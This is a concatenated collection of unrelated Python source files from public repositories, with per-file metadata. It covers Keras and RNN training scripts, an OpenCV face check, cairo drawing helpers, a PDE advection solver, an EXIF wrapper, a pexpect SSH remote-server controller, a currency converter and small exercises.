259ed4eb22ee785bc42f272bff7dbdc86cf714cf
Python
houjunchen/hands-on-keras
/cnn/ans_python2/M2_cp32_7_m_d512.py
UTF-8
1,949
2.578125
3
[]
no_license
# libraries & packages import numpy import math import sys from keras.models import Sequential from keras.layers import Dense, Dropout, Activation, Flatten from keras.layers import Conv2D, MaxPooling2D from keras.optimizers import SGD from keras.utils import np_utils # set dataset path dataset_path = '../cifar_10/' execfile('read_dataset2img.py') '''CNN model''' model = Sequential() model.add(Conv2D(32, 7, 7, border_mode='same', input_shape=X_train[0].shape)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Flatten()) model.add(Dense(512)) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(classes)) model.add(Activation('softmax')) '''setting optimizer''' learning_rate = 0.01 learning_decay = 0.01/32 sgd = SGD(lr=learning_rate, decay=learning_decay, momentum=0.9, nesterov=True) model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy']) # check parameters of every layers model.summary() ''' training''' batch_size = 128 epoch = 32 # validation data comes from training data # model.fit(X_train, Y_train, batch_size=batch_size, # nb_epoch=epoch, validation_split=0.1, shuffle=True) # validation data comes from testing data fit_log = model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=epoch, validation_data=(X_test, Y_test), shuffle=True) '''saving training history''' output_fn = 'M2_cp32_7_m_d512' execfile('write_csv.py') '''saving model''' from keras.models import load_model model.save(output_fn + '.h5') del model '''loading model''' model = load_model(output_fn + '.h5') '''prediction''' pred = model.predict_classes(X_test, batch_size, verbose=0) ans = [numpy.argmax(r) for r in Y_test] # caculate accuracy rate of testing data acc_rate = sum(pred-ans == 0)/float(pred.shape[0]) print "Accuracy rate:", acc_rate
true
15acd593418448df31028aa0c6453f9673201442
Python
fusion-research/Tensorflow-Advance
/Practice/MaskDetect/firstApp/app/cv2check.py
UTF-8
525
2.65625
3
[]
no_license
import cv2 from tensorflow.keras.preprocessing.image import load_img , img_to_array import matplotlib.pyplot as plt face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') img = load_img('test.jpg') img_arr = img_to_array(img) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.3, 6) for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) plt.plot(img_arr[y:y+h,x:x+w ,:]) plt.show() cv2.imshow('img', img) cv2.waitKey()
true
fa1cea1f7302cc8fbdaf73049ea661edea75b383
Python
Mahadev0317/Codekata
/capitalize.py
UTF-8
110
3.296875
3
[]
no_license
s=list(input().split()) lis=[] for i in range(len(s)): lis.append(s[i].capitalize()) print(" ".join(lis))
true
ee5cc6392b4b2a222034c8c42c29e4bc8a51b5a3
Python
qi77wang/mao_scripts
/20200831_del_invalid/ComSignalDataInvalidValue/del_invalid2.py
UTF-8
1,857
3.109375
3
[]
no_license
#!/usr/bin/env python # coding:utf-8 import sys if __name__ == '__main__': print("start to do work") # 从1的实现发现,发现处理list时,删除某个元素,后面的所有元素会平移,导致下标也随之变化 # 所以尽量不要直接删除list中的某个元素,可以选择新建list,把不需要的元素剔除; input_file = sys.argv[1] i = 0 with open(input_file, 'r') as fp: list_line = fp.readlines() for line in list_line: line = line.strip() if "ComSignalDataInvalidValue" in line: # 容错 if "<ECUC-NUMBERICAL-PARAM-VALUE>" not in list_line[i-1] and \ "<DEFINITION-REF" not in list_line[i] and \ "<VALUE>" not in list_line[i+1] and \ "</ECUC-NUMBERICAL-PARAM-VALUE>" not in list_line[i+2]: print("error:input file has unknown format, please check it") sys.exit(1) list_line[i-1] = 'meng_to_del' list_line[i] = 'meng_to_del' list_line[i+1] = 'meng_to_del' list_line[i+2] = 'meng_to_del' i += 1 # 现在问题转化为删除list中的某个重复元素 # del meng_to_del # 方法1,遍历list,碰到符合条件的,删除,但因为list是动态的,需要倒序删除; # for i in range(len(list_line)-1, -1, -1): # if list_line[i] == 'meng_to_del': # list_line.pop(i) # 方法2,遍历list,将元素赋给新的list,如果符合条件,则跳过,此处用filter实现; list_line = filter(lambda x: x != 'meng_to_del', list_line) fp1 = open('./output.txt', 'w') for line in list_line: fp1.write(line) fp1.close() print("generate output.txt success")
true
65dd84bbb4db8c00b2f6e675928df1988454186d
Python
putterer/zx-optimization-framework
/zxopt/visualization/render_util.py
UTF-8
1,826
3.1875
3
[]
no_license
import math import re from typing import Tuple, List import cairo BLACK = "#000000" def color(ctx: cairo.Context, hex: str): cr_col = to_cairo_color(hex) ctx.set_source_rgb(cr_col[0], cr_col[1], cr_col[2]) def to_cairo_color(hex: str) -> List[float]: m = re.match(r"#?([0-9A-Fa-f][0-9A-Fa-f])([0-9A-Fa-f][0-9A-Fa-f])([0-9A-Fa-f][0-9A-Fa-f])", hex) if not m: raise RuntimeError(f"Cannot parse color {hex}") return [int(m.group(1), 16) / 255.0, int(m.group(2), 16) / 255.0, int(m.group(3), 16) / 255.0, 1.0] def normalise_tuple_vec(vec: Tuple[float, float], new_length = 1.0) -> Tuple[float, float]: length = math.sqrt(vec[0] ** 2 + vec[1] ** 2) return vec[0] / length * new_length, vec[1] / length * new_length def draw_line(ctx: cairo.Context, start: Tuple[float, float], end: Tuple[float, float], offset: Tuple[float, float] = (0, 0)): ctx.move_to(start[0] + offset[0], start[1] + offset[1]) ctx.line_to(end[0] + offset[0], end[1] + offset[1]) ctx.close_path() ctx.stroke() def fill_circle(ctx: cairo.Context, pos: Tuple[float, float], radius: float): ctx.arc(pos[0], pos[1], radius, 0, 2*math.pi) ctx.fill() # this is not really a baseline but rather a center BASELINE_BOT = 0 BASELINE_CENTER = +0.5 BASELINE_TOP = +1.0 ALIGN_LEFT = 0 ALIGN_CENTER = -0.5 ALIGN_RIGHT = -1.0 def draw_text(ctx: cairo.Context, pos: Tuple[float, float], text: str, align: int = ALIGN_LEFT, baseline: int = BASELINE_BOT): (x, y, width, height, dx, dy) = ctx.text_extents(text) offset = (width * align, height * baseline) ctx.move_to(pos[0] + offset[0], pos[1] + offset[1]) ctx.show_text(text) def fill_square(ctx: cairo.Context, pos: Tuple[float, float], size: float): ctx.rectangle(pos[0] - size / 2.0, pos[1] - size / 2.0, size, size) ctx.fill()
true
1e9f87dc657ec85a328fae9118bf8032fc03837d
Python
Haroong/Algorithm
/BaekJoon Online Judge/Silver/4949-균형잡힌 세상.py
UTF-8
947
4.03125
4
[]
no_license
import sys # 균형잡힌 문자열인지 여부 반환 def is_balanced_string(sentence): stack = [] for s in sentence: if s == '(' or s == '[': stack.append(s) elif s == ')': if not stack or stack.pop() != '(': return False elif s == ']': if not stack or stack.pop() != '[': return False if stack: return False else: return True # 각 케이스에 대한 결과 추가 def add_to_answer(balance, answer): if balance == True: answer.append('yes') else: answer.append('no') return answer # main if __name__ == '__main__': answer = [] while True: sentence = sys.stdin.readline().rstrip() if sentence == '.': # 입력 종료 break result = is_balanced_string(sentence) add_to_answer(result, answer) print(*answer, sep='\n')
true
0518afd4aae8524a8b07d1da1118911878522c18
Python
paulkore/backend-python-test
/alayatodo/common.py
UTF-8
249
3.234375
3
[]
no_license
def empty(str_value): return str_value is None or str_value.strip() == '' def str_to_int(str_value, default): if empty(str_value): return default try: return int(str_value) except ValueError: return default
true
71bf219e097bc9bb98a268e90ee1594609dca6ee
Python
akswart/phys416code
/hw9/advect2.py
UTF-8
3,952
3.203125
3
[]
no_license
from __future__ import print_function, division import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Axes3D # advect2 - Program to solve the advection equation # using the various hyperbolic PDE schemes # clear all help advect2 # Clear memory and print header #* Select numerical parameters (time step, grid spacing, etc.). method = int(input('Choose a numerical method: 1-FTCS, 2-Lax, 3-Lax-Wendroff, 4-Upwind, 5-Implicit, 6-Crank Nicholson: ')) N = int(input('Enter number of grid points: ')) L = 1. # System size h = L/N # Grid spacing c = 1 # Wave speed print('Time for wave to move one grid spacing is ',h/c) tau = float(input('Enter time step: ')) coeff = -c*tau/(2*h) # Coefficient used by all schemes coefflw = 2*coeff**2 # Coefficient used by L-W scheme print('Wave circles system in %d steps'%int(L/(c*tau))) nStep = int(input('Enter number of steps: ')) #* Set initial and boundary conditions. sigma = 0.1 # Width of the Gaussian pulse k_wave = np.pi/sigma # Wave number of the cosine x = (np.arange(0,N)+1./2.)*h - L/2 # Coordinates of grid points # Initial condition is a Gaussian-cosine pulse a = np.cos(k_wave*x) * np.exp(-x**2/(2*sigma**2)) #a=zeros(1,N) #for i=round(N/4):round(N/2) # a(i) = 1 #end # Use periodic boundary conditions ip = np.arange(0,N)+1 ip[N-1] = 0 # ip = i+1 with periodic b.c. im = np.arange(0,N)-1 im[0] = N-1 # im = i-1 with periodic b.c. #* Initialize plotting variables. iplot = 1 # Plot counter aplot = np.copy(a) # Record the initial state tplot = np.array([0]) # Record the initial time (t=0) nplots = 50 # Desired number of plots plotStep = max(1, np.floor(nStep/nplots)) # Number of steps between plots #* Loop over desired number of steps. for iStep in range(0,nStep): ## MAIN LOOP ## #* Compute new values of wave amplitude using FTCS, # Lax or Lax-Wendroff method. if( method == 1 ): ### FTCS method ### a[0:N] = a[0:N] + coeff*(a[ip]-a[im]) elif( method == 2 ): ### Lax method ### a[0:N] = .5*(a[ip]+a[im]) + coeff*(a[ip]-a[im]) elif( method == 3 ): ### Lax-Wendroff method ### a[0:N] = a[0:N] + coeff*(a[ip]-a[im]) + coefflw*(a[ip]+a[im]-2*a[0:N]) elif( method==4): ### Upwind method ### a[0:N] = a[0:N] + 2*coeff*(a[0:N]-a[im]) elif( method==5): ### implicit method ### if (iStep==0): # setup inverse if iStep==0 d=np.zeros((N,N)) for i in range(1,N-1): d[i,i+1]=1 d[i,i-1]=-1 d[0,N-1]=-1 d[0,1]=1 d[N-1,N-2]=-1 d[N-1,0]=1 m=np.linalg.inv(np.identity(N)+tau/(2*h)*d) # update the solution a = np.dot(m,a) # elif( method==6): ### cn method ### # ***********fill in the space here ************* #* Periodically record a(t) for plotting if( (iStep%plotStep) < 1 and iStep >0): # Every plot_iter steps record iplot = iplot+1 aplot = np.vstack((aplot,a)) # Record a(i) for ploting tplot = np.append(tplot,tau*iStep) print('%d out of %d steps completed'%(iStep,nStep)) #* Plot the initial and final states. plt.figure(1); plt.clf() # Clear figure 1 window and bring forward plt.plot(x,aplot[0,:],'-',x,a,'--') plt.legend(['Initial ','Final']) plt.xlabel('x') plt.ylabel('a(x,t)') plt.grid(True) # pause(1) # Pause 1 second between plots #* Plot the wave amplitude versus position and time tt,xx = np.meshgrid(x,tplot) fig = plt.figure(2); plt.clf() # Clear figure 2 window and bring forward ax = fig.gca(projection='3d') surf = ax.plot_surface(xx, tt, aplot, rstride=1, cstride=1, cmap=cm.jet,linewidth=0, antialiased=False) ax.set_xlabel('Time') ax.set_ylabel('Position') ax.set_zlabel('Amplitude)') # mesh(tplot,x,aplot) # view([-70 50]) # Better view from this angle plt.show()
true
ca5fcfbd4789511bc555fdcf8228e7ec5a061140
Python
Brianacl/ProgPLF
/sumaLista.py
UTF-8
92
2.984375
3
[]
no_license
def suma(l): return 0 if len(l) == 0 else l[0] + suma(l[1:]) print(suma([1,3,-1,7,0]))
true
1db0a3ad9c7dc96d2f5508e6885c3e0a91536f69
Python
nourandolat25/Python-Course
/Week 2/practice 2-B.py
UTF-8
1,610
3.703125
4
[]
no_license
# coding: utf-8 # In[ ]: print ("1.dinar converter system") print ("2.dolar converter system") print ("3.turkish lira converter system") choice = input("choose 1, 2 or 3:") if choice == "1": print ("1.dinar to lira converter") print("2.dinar to dolar converter") choice2 = input("choose 1 or 2:") if choice2 == "1": dinar= float(input("enter the dinar currency:")) print(f"{dinar} dinar= {dinar*7.7711} turkish lira") elif choice2 == "2": dinar=float(input("enter the dinar currency:")) print (f"{dinar} dinar= {dinar*1.41} dolar") else: print("invalid choice") elif choice == "2": print ("1.dolar to lira converter") print("2.dolar to dinar converter") choice3 = input("choose 1 or 2:") if choice3 == "1": dolar= float(input("enter the dolar currency:")) print(f"{dolar} Dolar= {dolar*5.51} turkish lira") elif choice3 == "2": dolar=float(input("enter the dolar currency:")) print(f"{dolar} Dolar= {dolar/1.41} dinar") else: print("invalid choice") elif choice == "3": print ("1.lira to dinar converter") print("2.lira to dolar converter") choice4= input("choose 1 or 2:") if choice4 == "1": lira= float(input("enter the lira currency:")) print(f"{lira} lira= {lira*0.1287} dinar") elif choice4 == "2": lira=float(input("enter the lira currency:")) print(f"{lira} lira= {lira/5.51 } dolar") else: print("invalid choice") else: print("invalid choice") # In[ ]: # In[ ]:
true
3f9f3d63c1824da6d2d1e44cb305efc6e7e47345
Python
Vanova/icu_rnn
/test.py
UTF-8
1,907
2.578125
3
[ "MIT" ]
permissive
import numpy as np import random import m2m_rnn as m2m # one example is one audio file seq_time_steps = 20 nb_examples = 401 // seq_time_steps feat_dim = 19 hidden_dim = 100 nb_clcs = 7 X = [] Y = [] for i in xrange(nb_examples): X.append(np.random.uniform(-np.sqrt(1./feat_dim), np.sqrt(1./feat_dim), (seq_time_steps, feat_dim))) Y.append(np.random.binomial(1, 0.4, nb_clcs)) # to 2D array Y = np.asarray(Y) ##### iters=100 eta=0.01 alpha=0.0 lambda2=0.0 dropout=.5 running_total = 0 config = { 'nb_hidden': [hidden_dim, hidden_dim], 'nb_epochs': 10, 'alpha': 0.0, 'lambda2': 0.0, 'clip_at': 0.0, 'scale_norm': 0.0, 'starting_eta': 32.0, 'minimum_eta': 1.0, 'half_eta_every': 10 } # config.update(model_config) P = config['nb_input'] = X[0].shape[1] K = config['nb_output'] = Y.shape[1] config['results_dir'] = './' print 'LSTM Model Configuration\n----------' for k in sorted(config): print k, ':', config[k] print '----------', '\n' nb_hidden = config['nb_hidden'] nb_epochs = config['nb_epochs'] eta = config['starting_eta'] min_eta = config['minimum_eta'] half_every = config['half_eta_every'] alpha = config['alpha'] lambda2 = config['lambda2'] clip_at = config['clip_at'] scale_norm = config['scale_norm'] rnn = m2m.M2M_RNN(num_input=P, num_hidden=nb_hidden, num_output=K, clip_at=clip_at, scale_norm=scale_norm) for it in xrange(iters): if it == 27: m = 0 i = random.randint(0, len(X)-1) if X[i].shape[0] < 200: cost, last_step_cost = rnn.train(X[i], np.tile(Y[i], (len(X[i]), 1)), eta, alpha, lambda2, dropout) else: cost, last_step_cost = rnn.train(X[i][-200:], np.tile(Y[i], (200, 1)), eta, alpha, lambda2) running_total += last_step_cost running_avg = running_total / (it + 1.) print "iteration: %s, cost: %s, last: %s, avg: %s" % (it, cost, last_step_cost, running_avg)
true
c6b8abc29c8996e575dff6ea1a0e31ecce47c8c6
Python
jeffclough/handy
/pylib/exiftool.py
UTF-8
4,288
2.953125
3
[]
no_license
#!/usr/bin/env python3 ''' This module provides a fairly clumsy Python interface to Phil Harvey's most excellent exiftool command. At the moment, it supports only the ability to read EXIF tags from a given file. When I need to do more with EXIF (maybe adding or updating GPS data), I'll add that capability then. Go to http://www.sno.phy.queensu.ca/~phil/exiftool to download the exiftool command. NOTE: Consider using PyExifTool instead of this module. http://smarnach.github.io/pyexiftool The readfile() function returns a complex structure that requires some exploration. You can run this module directly against one or more files as in the following example: python exiftool.py IMG_9071.CR2 Think ComplexNamespace as a dictionary that you address with object.attribute syntax rather than with dictionary[key] syntax. So rather than a compound dictionary that makes you write code like exif_data['Composite']['ImageSize'] you can write exif_data.Composite.ImageSize instead. Isn't that nicer! ''' import datetime,json,os,re,subprocess,sys from types import SimpleNamespace class ComplexNamespace(SimpleNamespace): """ComplexNamespace works just like SimpleNamespace, from which it is derived, but the namespaces here are nested as deeply as the initializing dictionary of keywards goes. One other difference is that its __str__() method returns a multi-line outline-formatted string. (You can still get the ugly version from repr().)""" def __init__(self,/,**kwargs): """Initialize this object as a structure of nested SimpleNamespace objects.""" super().__init__(**kwargs) while True: converted=False for k,v in kwargs.items(): if isinstance(getattr(self,k),dict): setattr(self,k,SimpleNamespace(**v)) converted=True # Remember we converted a dict to a SimpleNamespace. if not converted: break def __str__(self): ind=2 # Each new level is indented this many spaces. output=[] def add_lines(ns,indenture): "Add indented output lines from the given namespace." vars=sorted([v for v in dir(ns) if not v.startswith('__')]) for a in vars: v=getattr(ns,a) if isinstance(v,SimpleNamespace): output.append(f"{' '*indenture}{a}:") add_lines(v,indenture+ind) else: output.append(f"{' '*indenture}{a}: {v} ({type(v)})") add_lines(self,0) return '\n'.join(output) # Use this RE to parse date and time from EXIF data. re_exif_time=re.compile('(?P<year>\d\d\d\d):(?P<mon>\d\d):(?P<day>\d\d) (?P<hour>\d\d):(?P<min>\d\d):(?P<sec>\d\d)(\.(?P<cs>\d\d))?') def exiftool(*args): 'Run exiftool with the given arguments and return [stdout,stderr].' clist=['exiftool']+list(args) try: rc=subprocess.Popen(clist,bufsize=16384,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate() except OSError as e: errno,strerr=e print('%s: %s: exiftool %s'%(os.path.basename(sys.argv[0]),strerr,clist),file=sys.stderr) sys.exit(1) return rc def readfile(filename): '''Return a python object (an instance of class AdHoc) whose attributes contain the grouped EXIF tags of the given file.''' out,err=exiftool('-g','-json',filename) if err: print('exiftool error:\n'+err, file=sys.stderr) sys.exit(1) d=json.loads(out)[0] # Read exiftool's JSON output, and d=eval(re.sub(r"\bu'","'",repr(d))) # convert unicode to regular strings. for g in d: # Iterate through each group of metadata that exiftool found. dd=d[g] if isinstance(dd,dict): for key,val in dd.items(): # Convert any string timestamps to Python datetime values. #print 'key=%r val=%r'%(key,val) if isinstance(val,str): m=re_exif_time.match(val) if m: t=m.groupdict('0') for x in t: t[x]=int(t[x]) dd[key]=datetime.datetime(t['year'],t['mon'],t['day'],t['hour'],t['min'],t['sec'],t['cs']*10000) return ComplexNamespace(**d) if __name__=='__main__': for filename in sys.argv[1:]: exif=readfile(filename) #for var in dir(exif): # if not var.startswith('__'): # print(f"{var}: {type(getattr(exif,var))}") print(f"=== {filename} ===\n{exif}\n")
true
94b23d19a1c6cacde7d68bd66dc1c6c261d4f09c
Python
danalenvargas/project-euler-solutions
/009.py
UTF-8
178
3.359375
3
[]
no_license
def compute(): for a in range(1, 998): for b in range(1, 998-a): c = 1000 - a - b if(a**2 + b**2 == c**2): return a*b*c return False print(compute())
true
d48595d1f7e5e9f18d7bcdefff5e71aabc77e495
Python
estenssoros/sebflow
/sebflow/operators/python_operator.py
UTF-8
1,014
2.5625
3
[ "MIT" ]
permissive
from sebflow.exceptions import SebflowException from sebflow.models import BaseOperator from sebflow.state import State # from sebflow.utils.decorators import apply_defaults class PythonOperator(BaseOperator): """ Executes a python callable """ # @apply_defaults def __init__( self, python_callable, op_args=None, op_kwargs=None, *args, **kwargs): super(PythonOperator, self).__init__(*args, **kwargs) if not callable(python_callable): raise SebflowException('`python_callable` must be callable') self.python_callable = python_callable self.op_args = op_args or [] self.op_kwargs = op_kwargs or {} def execute(self): self.state = State.RUNNING self.logger.info('task %s [starting]' % self.task_id) return_value = self.execute_callable() return return_value def execute_callable(self): return self.python_callable(*self.op_args, **self.op_kwargs)
true
48ccf11408f554ebb86ceed13f00499125793f09
Python
c4rl0sFr3it4s/Python_Analise_De_Dados
/_estudoPython_solid/solid/manipulacao_string.py
UTF-8
3,094
4.21875
4
[ "Apache-2.0" ]
permissive
# comentario ctrl + /, ctrl + alt + r, auto identação, ctrl + shift + f10 frase = 'Oi, tudo bem?' ''' strings python trata a frase como se fosse uma lista, lista de letras. letra começa do indice 0, 1, em diante. ''' print(frase) print(frase[0], frase[1], frase[2], frase[3], frase[4], frase[5], frase[6], frase[7], frase[8], frase[9], frase[10], frase[11], frase[12]) print(len(frase)) # conta todos os caracteres dentro de uma string, espaço em branco, caracteres especiais. troca_bem = frase.replace('bem', 'ok') troca_frase = frase.replace('Oi, tudo bem?', 'Olá, como você está') print(troca_bem) print(troca_frase) # subistitui o caractere ou frase de uma string print(troca_frase.count('o')) print(troca_frase.count('m')) # conta o numero de vezes que um caracter aparece na frase print(frase.find('t')) print(frase.find('?')) # mostra a possição que o caractere apareçe na string print(frase.split()) print(frase.split(',')) # separa uma string nos espaços parthen, escolhendo o token para ser separado , print(''.join(frase.split(','))) print(frase.split('tudo')) print('tudo'.join(frase.split('tudo'))) # junta a string, caso sendo separada por um split() print(frase.upper()) # transformando string em caixa alta print(frase.lower()) # transformando string em caixa baixa print('lower com capitalize =>', frase.lower().capitalize()) print(frase.title()) # deixa as primeiras letras da string em maiusculas print(frase.swapcase()) # troca maiusculos para minusculas, minusculas para maiusculas. '''rodando testes nas strings''' print('UPPER'.isupper()) # a string UPPER é superior - saida sempre em boolean - True - False print('uPPER'.isupper()) # a string uPPER é superior - saida sempre em boolean - True - False print('lower'.islower()) # a string lower é baixo - saida sempre em boolean - True - False print('Lower'.islower()) # a string Lower é baixo - retorna em boolean - False print('Este Titulo'.istitle()) # checando se é um titulo - os primeiros caracteres começa com letra Maiuscula print('Este não é um titulo'.istitle()) # chacando se é um tirulo - os primeiros caracteres começa com letra Maiuscula print('123Abc'.isalnum()) # checando se a string é alfanumérica - apenas letras e numeros não caracteres especiais print('1@a'',abc'.isalnum()) # checando se a string é alfanumerica - apenas letras e numeros print('abcdefghijklmnopqrstuvxwyz'.isalpha()) # checando se a string tem somente letras print('0123456789'.isdigit()) # chegando se ela contém somente numeros print(' '.isspace()) # checando se a string existe espaço print('A string.'.ljust(15), 'contém espaço') # adicionando 15 espaço a direita. print('A string.'.rjust(15), 'contém espaco') # adicionando 15 espaco a esquerda print('A string'.center(15)) # centraliza uma string dentro do espaco print('String'.ljust(15).strip()) # com strinp(), separa a string com o mesmo argumento em ambos os lados print('String'.rjust(15).strip()) # com strip(), separa a string com o mesmo argumento em ambos os lados
true
b1d81941e9d340fc440d006201de223ce9e062d7
Python
WuhaoIclouder/LabviewMeasure
/labviewservice/startrs.py
UTF-8
11,042
2.75
3
[]
no_license
"""Start a server locate on a remote Linux machine. The remote Linux machine should be installed bash. First we try to connect the remote Linux host by SSH. And try telnet again if failed. If we succeed to login, we check if the package of server is existed. If not, we try scp or sftp or ftp get the package. And after all, we start the server. """ import os import sys import pxssh import time from pexpect import TIMEOUT from log import * __all__ = [ "StartRemoteServer" ] class StartRemoteServer(object): """ Start remote server. """ def __init__(self, connector=pxssh.pxssh()): """ The connector is pxssh.pxssh if connect by SSH. If we connect by Telnet, we should create a new class inherited from pexpect.spawn, and implement login(), logout(), prompt(), set_unique_prompt() """ self.connector = connector # pxssh.UNIQUE_PROMPT is "\[PEXPECT\][\$\#] ", set prompt for csh # should not contain slash(\) if isinstance(self.connector, pxssh.pxssh): self.connector.PROMPT_SET_CSH = "set prompt='[PEXPECT]$ '" # Echo command result self.echo_cmd_result = "" def set_tty(self): """ Set window size and close echo. """ try: # Increase the width of tty to enable long line grep in check_server() self.connector.setwinsize(24, 256) # echo default is False self.connector.setecho(False) return True except: error_log("set tty failed: exception type[%s], value[%s]", sys.exc_info()[0], sys.exc_info()[1]) return False def check_file(self, filename, timeout=2): """ Check file is exist or not. """ list_file = "ls " + filename + self.echo_cmd_result self.connector.sendline(list_file) i = self.connector.expect(['\r\n0\r\n', '\r\n1\r\n', '\r\n2\r\n', TIMEOUT], timeout=timeout) if i != 0: warn_log("File[%s] not found", filename) return False return True def remove_file(self, filename, timeout=2): """ Remove file """ rm_file = "rm -fr " + filename + self.echo_cmd_result self.connector.sendline(rm_file) i = self.connector.expect(['\r\n0\r\n', '\r\n1\r\n', '\r\n2\r\n', TIMEOUT], timeout=timeout) if i != 0: warn_log("Command[%s] failed", rm_file) return False return True def change_work_directory(self, path): """ Change work directory to path. The path will be created if not existed. """ if not self.check_file(path): warn_log("Path[%s] not found, try to create", path) create_path = "mkdir -p " + path + self.echo_cmd_result self.connector.sendline(create_path) i = self.connector.expect(['\r\n0\r\n', '\r\n1\r\n', TIMEOUT], timeout=2) if i != 0: error_log("Can't create path[%s]", path) return False else: info_log("Create path[%s] successfully!", path) # Now change current work directory cd_path = "cd " + path + self.echo_cmd_result self.connector.sendline(cd_path) i = self.connector.expect(['\r\n0\r\n', '\r\n1\r\n', TIMEOUT], timeout=2) if i != 0: error_log("Can't change work directory to path[%s], i[%d]", path, i) return False else: debug_log("Change work directory to path[%s] successfully!", path) return True def check_command(self, cmd): """ Check the command is existed or not """ which = "which " + cmd + self.echo_cmd_result self.connector.sendline(which) i = self.connector.expect(['\r\n0\r\n', '\r\n1\r\n', '\r\n2\r\n']) if i == 0: debug_log("command[%s] found!", cmd) return True else: warn_log("command[%s] not found!", cmd) return False def start_server(self, server, script): """ Start server by script and check the server """ self.connector.sendline(script) expect = "88.Exit" i = self.connector.expect([expect, TIMEOUT], timeout=2) if i == 0: info_log("Start server[%s] success!",server) return True else: warn_log("Start server[%s] failed!",server) return False def stop_server(self): self.connector.sendline("88") i = self.connector.expect(["root", TIMEOUT], timeout=2) if i == 0: info_log("Stop server[%s] success!") return True else: warn_log("Stop server[%s] failed!") return False def login(self, host, user, password, cwd=None): """ Login remote host by user and password """ try: ret = self.connector.login(host, user, password, original_prompt=r"[#$%]", auto_prompt_reset=False) if not ret: error_log("login host[%s], with user[%s], password[%s] failed", host, user, password) return False if cwd is not None: if not self.change_work_directory(cwd): error_log("change_work_directory() to [%s] failed", cwd) return False if not self.set_tty(): error_log("set_tty() failed!") return False return True except: error_log("login host[%s], with user[%s], password[%s] failed: " "catch exception type[%s], value[%s]", host, user, password, sys.exc_info()[0], sys.exc_info()[1]) return False def set_volt(self,volt): self.connector.sendline("8") i = self.connector.expect(["INPUT Voltage", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline(str(volt)) i = self.connector.expect(["Set Voltage", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False return True def send_phase(self, phase_list): self.connector.sendline("23") i = self.connector.expect(["Set phase", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False channel_no = 0 for elem in phase_list: self.connector.sendline("1") i = self.connector.expect(["Input channel No:", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline(str(channel_no)) i = self.connector.expect(["Input channel phase:", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline(str(elem)) i = self.connector.expect(["Set phase", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False channel_no = channel_no + 1 self.connector.sendline("2") i = self.connector.expect(["Write to FPGA over", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline("88") i = self.connector.expect(["CHS", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False return True def set_time(self, time): self.connector.sendline("14") i = self.connector.expect(["Dump", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline("1") i = self.connector.expect(["Input time", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline(str(time)) i = self.connector.expect(["7.Dump:", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline("88") i = self.connector.expect(["CHS", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False return True def output_ctrl(self, status): self.connector.sendline("14") i = self.connector.expect(["7.Dump:", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False if status == 1: self.connector.sendline("4") i = self.connector.expect(["Start heat", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False else: self.connector.sendline("5") i = self.connector.expect(["Stop heat", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline("88") i = self.connector.expect(["CHS", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False return True self.connector.sendline("88") i = self.connector.expect(["CHS", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False def channel_ctrl(self,status_list): channel_no = 0 for elem in status_list: self.connector.sendline("22") i = self.connector.expect(["Input channel No", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline(str(channel_no)) i = self.connector.expect(["Input channel status", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False self.connector.sendline(str(elem)) i = self.connector.expect(["CHS", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False channel_no = channel_no + 1 return True def read_channel(self): self.connector.sendline("9") i = self.connector.expect(["CHS", TIMEOUT], timeout=2) if i: warn_log("send command failed!") return False string1 = self.connector.before string = self.connector.readline() string = self.connector.readline() self.connector.sendline("88") return True
true
ebb2ee3824dbf7b0d70432512721dffaee5d3904
Python
eidonfiloi/criticalAI
/dataprovider/cifar.py
UTF-8
7,088
2.6875
3
[]
no_license
''' loads all the data from cifar into memory. some help from this insightful blog post: http://aidiary.hatenablog.com/entry/20151014/1444827123 assumes data is in cifar-10-batches-py, and cpkl'ed python version of data is downloaded/unzipped there. 0 - airplane 1 - automobile 2 - bird 3 - cat 4 - deer 5 - dog 6 - frog 7 - horse 8 - ship 9 - truck ''' # %matplotlib inline import sklearn.preprocessing as prep import collections import numpy as np import matplotlib.pyplot as plt import pickle import random as random from dataprovider.DataSet import * from tensorflow.contrib.learn.python.learn.datasets import base Datasets = collections.namedtuple('Datasets', ['train', 'test']) class CifarData(object): """ Cifar data set """ def __init__(self, data_dir="raw_data/cifar-10-batches-py", reshape=True): self.data_dir = data_dir train_datafiles = ['data_batch_1', 'data_batch_2', 'data_batch_3', 'data_batch_4', 'data_batch_5'] test_datafiles = ['test_batch'] train_data = [] train_labels = [] test_data = [] test_labels = [] def unpickle(f): fo = open(f, 'rb') d = pickle.load(fo, encoding="latin1") fo.close() return d for f in train_datafiles: d = unpickle(self.data_dir + '/' + f) data = d["data"] labels = np.array(d["labels"]) nsamples = len(data) # targets = np.where(labels == target_label)[0] for idx in range(nsamples): train_data.append(data[idx].reshape(3, 32, 32).transpose(1, 2, 0)) train_labels.append(labels[idx]) for f 